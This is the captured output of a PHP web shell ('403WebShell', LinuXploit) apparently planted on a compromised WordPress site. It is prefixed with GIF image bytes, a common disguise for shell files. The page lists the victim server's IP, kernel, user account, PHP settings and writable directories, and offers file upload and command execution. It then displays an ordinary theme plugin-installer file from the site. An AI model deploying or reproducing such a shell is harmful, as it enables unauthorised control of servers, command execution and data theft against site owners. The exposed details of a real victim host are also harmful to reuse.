GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/dangroup.sa/wp-content/themes/arolax/app/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/dangroup.sa/wp-content/themes/arolax/app/core/required-plugins.class.php
<?php

namespace arolax\Core;

require_once( ABSPATH . 'wp-load.php' );
require_once( ABSPATH . 'wp-includes/pluggable.php');
require_once( ABSPATH . 'wp-admin/includes/plugin-install.php' );
require_once( ABSPATH . 'wp-admin/includes/file.php' );
require_once( ABSPATH . 'wp-admin/includes/misc.php' );
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

/**
 * Required Plugin.
 */
class Required_Plugins
{
	/**
	 * register default hooks and actions for WordPress
	 * @return
	 */
	public function register()
	{	
        add_action( 'tgmpa_register', [ $this,'register_required_plugins' ] );
        add_action( 'wp_ajax_wcf_user_guide_ls_installed_plugins' , [ $this , 'wcf_user_guide_plugins_install' ] );       
       
	}
	
	public function wcf_user_guide_plugins_install(){
        
        if ( !wp_verify_nonce( $_REQUEST['nonce'], "wcf_user_guider_arolax_secure")) {
            exit("No naughty business please");
        } 
       
        $plugins                = isset($_POST['plugins']) ? $_POST['plugins'] : [];
        $return                 = [
            'all_active'          => true,
            'current_message'     => '',
            'demo_path'           => '#',
            'recheck'             => false,
            'installable_plugins' => [],
            'activeable_plugins'  => []
        ];                 
               
        foreach( $plugins as $plugin ) {
            $plugin_mainfile = trailingslashit( WP_PLUGIN_DIR ) . $plugin['slug'];            
            $status          = '<svg width="8" height="8" viewBox="0 0 8 8" fill="none" xmlns="http://www.w3.org/2000/svg">
            <path d="M5.08651 4.00078L7.77348 1.31381C8.07498 1.01387 8.07498 0.528023 7.7766 0.22652C7.47666 -0.0749838 6.99082 -0.0749838 6.68932 0.223395L6.68776 0.224958L4.00078 2.91193L1.31224 0.22652C1.0123 -0.0734216 0.524897 -0.0734216 0.224956 0.22652C-0.0749853 0.526461 -0.0749853 1.01387 0.224956 1.31381L2.91193 4.00078L0.224956 6.68776C-0.0749853 6.9877 -0.0749853 7.4751 0.224956 7.77504C0.524897 8.07499 1.0123 8.07499 1.31224 7.77504L3.99922 5.08807L6.68619 7.77504C6.98613 8.07499 7.47354 8.07499 7.77348 7.77504C8.07342 7.4751 8.07342 6.9877 7.77348 6.68776L5.08651 4.00078Z" fill="#E24040"/>
            </svg>
            ';             
            if ( $this->is_plugin_installed( $plugin['slug'] ) ) {
                $status = '<svg width="7" height="6" viewBox="0 0 7 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path fill-rule="evenodd" clip-rule="evenodd" d="M6.67022 1.50021C6.80685 1.33479 6.88254 1.11369 6.88254 0.879476C6.88254 0.643645 6.80685 0.424189 6.67022 0.257122C6.53221 0.0917052 6.34962 0 6.15612 0C5.96273 0 5.78013 0.0917052 5.64351 0.257122L4.53565 1.6001H4.53427L2.7203 3.79638C2.61479 3.92413 2.44299 3.92413 2.33748 3.79638L1.23903 2.4665C1.10112 2.30109 0.919812 2.20935 0.725031 2.20935C0.531636 2.20935 0.349041 2.30109 0.212417 2.4665C0.0757924 2.63354 0 2.853 0 3.08886C0 3.32304 0.0757924 3.54414 0.212417 3.70956L1.80584 5.63888C2.20353 6.12037 2.85286 6.12037 3.25194 5.63888L4.20554 4.48423L4.58836 4.02237L5.61508 2.77931L5.9979 2.31581L6.67022 1.50021Z" fill="#76E99D"/>
                </svg>
                ';                     
            }else{
                $return[ 'installable_plugins' ][] = [ 'slug' => $plugin['slug'] , 'source' => $plugin['remote-source'] ];
                $return[ 'all_active' ]            = false;
            } 
            // Activation Check
            if ( get_option('active_plugins') && in_array($plugin['slug'], array_map('dirname', get_option('active_plugins')), true)) {
                $status = '<svg width="11" height="6" viewBox="0 0 11 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path fill-rule="evenodd" clip-rule="evenodd" d="M6.67022 1.50021C6.80685 1.33479 6.88254 1.11369 6.88254 0.879476C6.88254 0.643645 6.80685 0.424189 6.67022 0.257122C6.53221 0.0917052 6.34962 0 6.15612 0C5.96273 0 5.78013 0.0917052 5.64351 0.257122L4.53565 1.6001H4.53427L2.7203 3.79638C2.61479 3.92413 2.44299 3.92413 2.33748 3.79638L1.23903 2.4665C1.10112 2.30109 0.919812 2.20935 0.725031 2.20935C0.531636 2.20935 0.349041 2.30109 0.212417 2.4665C0.0757924 2.63354 0 2.853 0 3.08886C0 3.32304 0.0757924 3.54414 0.212417 3.70956L1.80584 5.63888C2.20353 6.12037 2.85286 6.12037 3.25194 5.63888L4.20554 4.48423L4.58836 4.02237L5.61508 2.77931L5.9979 2.31581L6.67022 1.50021ZM10.7876 1.50021C10.9242 1.33479 11 1.11369 11 0.879476C11 0.643645 10.9242 0.424189 10.7876 0.257122C10.651 0.0917052 10.4684 0 10.2749 0C10.0801 0 9.89888 0.0917052 9.76087 0.257122L6.83766 3.79638C6.73215 3.92413 6.56035 3.92413 6.45483 3.79638L5.99632 3.24117L4.9696 4.48423L5.9233 5.63888C6.32227 6.12037 6.97022 6.12037 7.3693 5.63888L10.7876 1.50021Z" fill="#76E99D"/>
                </svg>
                '; 
            }else{
                $return[ 'all_active' ]         = false;
                $return['activeable_plugins'][] = $plugin['slug'];
            }            
            $return[ 'plugin_status' ][]    = sprintf( "<li>%s %s</li>" , $plugin[ 'title' ] , $status);          
        }
        
        if( isset($_POST[ 'user_action' ]) && $_POST['user_action'] == 'yes' ){
        
            if(isset($return['installable_plugins']) && isset($return['installable_plugins'][0])){                
                $return[ 'recheck' ]         = true;
                $status                    = $return[ 'installable_plugins' ][0][ 'source' ] == "false" ? false : $return['installable_plugins'][0]['source'];
                $return[ 'current_message' ] = $return[ 'installable_plugins' ][0][ 'slug' ] . ' installed';
                $this->install_plugin( $return[ 'installable_plugins' ][0][ 'slug' ], $status );  // $return['installable_plugins'][0]['source']    
                if($return[ 'installable_plugins' ][ 0 ][ 'slug' ] == 'elementor'){
                  update_option( 'elementor_onboarded' , 1 );
                }
                wp_send_json( $return );
            }
        }
        
        if( isset($_POST['user_action']) && $_POST['user_action'] == 'yes' ){
        
            if(isset($return['activeable_plugins']) && !empty($return['activeable_plugins'])){            
                $return['recheck'] = true;   
                $return['current_message'] = $return['activeable_plugins'][0] . ' activated'; 
                $this->run_activate_plugin($return['activeable_plugins'][0]);
                wp_send_json( $return );
            }
        }
        
        if(isset($return['all_active']) && $return['all_active'] == true){
            $return['demo_path'] = admin_url( "admin.php?page=fw-backups-demo-content" );
        }
        
        wp_send_json( $return );
	    wp_die();
	}
	
	function run_activate_plugin( $slug ) {
        $pluginDir = WP_PLUGIN_DIR . '/' . $slug . '/';
        $activation_success = false;
    
        $files = scandir($pluginDir); 
        foreach($files as $file) {
            if(is_file($pluginDir.$file)) {
    
                $activation = activate_plugin($pluginDir.$file);
    
                if(!is_wp_error($activation)) {
                    $activation_success = true;
                }
    
            }
        }
    }
	
	function is_plugin_installed( $plugin ) {
        $plugins = \get_plugins( '/'.$this->get_plugin_dir( $plugin ) );
        if ( ! empty( $plugins ) ) {
            return true;
        }
        return false;
    }
    
    function get_plugin_dir( $plugin ) {
    
        $chunks = explode( '/', $plugin );
        if ( ! is_array( $chunks ) ) {
            $plugin_dir = $chunks;
        } else{
            $plugin_dir = $chunks[0];
        }
        return $plugin_dir;
    }
    
    
    /**
     * Intall a given plugin.     
     * @param  string $plugin Plugin basename.
     * @return null|string  Null when install was succesfull, otherwise error message.
     */
    function install_plugin( $plugin , $remote = true ) {
        $api = [];
        if(!$remote){
            $all_plugin_data = $this->get_plugin_config_data();
            $key             = array_search($plugin, array_column($all_plugin_data, 'slug'));
            $_dlink          = $all_plugin_data[$key]['source'];
            $download_link   = $_dlink;
        }else{
        
            $api = plugins_api(
                'plugin_information',
                array(
                    'slug'   => $this->get_plugin_dir( $plugin ),
                    'fields' => array(
                        'short_description' => false,
                        'requires'          => false,
                        'sections'          => false,
                        'rating'            => false,
                        'ratings'           => false,
                        'downloaded'        => false,
                        'last_updated'      => false,
                        'added'             => false,
                        'tags'              => false,
                        'compatibility'     => false,
                        'homepage'          => false,
                        'donate_link'       => false,
                    ),
                )
            );
          $download_link = $api->download_link;
        }
       
        // Replace new \Plugin_Installer_Skin with new Qu_Upgrader_Skin when output needs to be suppressed.
        $skin      = new WCF_Theme_Upgrader_Skin( array( 'api' => $api ) );
        $upgrader  = new \Plugin_Upgrader( $skin );      
        $error     = $upgrader->install( $download_link  );          
    }
        
    public function get_plugin_config_data(){
        $plugins	 = array( 
        
            array(
                'name'		 => esc_html__( 'Elementor', 'arolax' ),
                'slug'		 => 'elementor',
                'required'	 => true,
            ),
            
            array(
                'name'		 => esc_html__( 'Contact form 7', 'arolax' ),
                'slug'		 => 'contact-form-7',
                'required'	 => true,
            ),
           
            array(
                'name'		 => esc_html__( 'arolax Essential', 'arolax' ),
                'slug'		 => 'arolax-essential',
                'required'	 => true,
                'source'     => AROLAX_THEME_DIR .'/app/third-party/arolax-essential.zip', // The plugin source.               
            ),
            
            array(
                'name'		 => esc_html__( 'Animation Addons For Elementor', 'arolax' ),
                'slug'		 => 'animation-addons-for-elementor',
                'required'	 => true,
            ),
            
            array(
                'name'		 => esc_html__( 'WCF Element Library Pro', 'arolax' ),
                'slug'		 => 'wcf-addons-pro',
                'required'	 => true,
                'source'     => AROLAX_THEME_DIR .'/app/third-party/wcf-addons-pro.zip', // The plugin source.
            ),             
            array(
                'name'		 => esc_html__( 'WCF Element Library Extension', 'arolax' ),
                'slug'		 => 'extension-for-animation-addons',
                'required'	 => true,
                'source'     => AROLAX_THEME_DIR .'/app/third-party/extension-for-animation-addons.zip', // The plugin source.
            ),       
            
        );
        
        return $plugins;
    }    

	public function register_required_plugins() {
        //required plugins
       
        $plugins	 = $this->get_plugin_config_data();
    
    
        $config = array(
            'id'			 => 'arolax', // Unique ID for hashing notices for multiple instances of TGMPA.
            'default_path'	 => '', // Default absolute path to bundled plugins.
            'menu'			 => 'arolax-install-plugins', // Menu slug.
            'parent_slug'	 => 'themes.php', // Parent menu slug.
            'capability'	 => 'edit_theme_options', // Capability needed to view plugin install page, should be a capability associated with the parent menu used.
            'has_notices'	 => true, // Show admin notices or not.
            'dismissable'	 => true, // If false, a user cannot dismiss the nag message.
            'dismiss_msg'	 => '', // If 'dismissable' is false, this message will be output at top of nag.
            'is_automatic'	 => true, // Automatically activate plugins after installation or not.
            'message'		 => '', // Message to output right before the plugins table.
        );
    
        tgmpa( $plugins, $config );
    }

}





Youez - 2016 - github.com/yon3zu
LinuXploit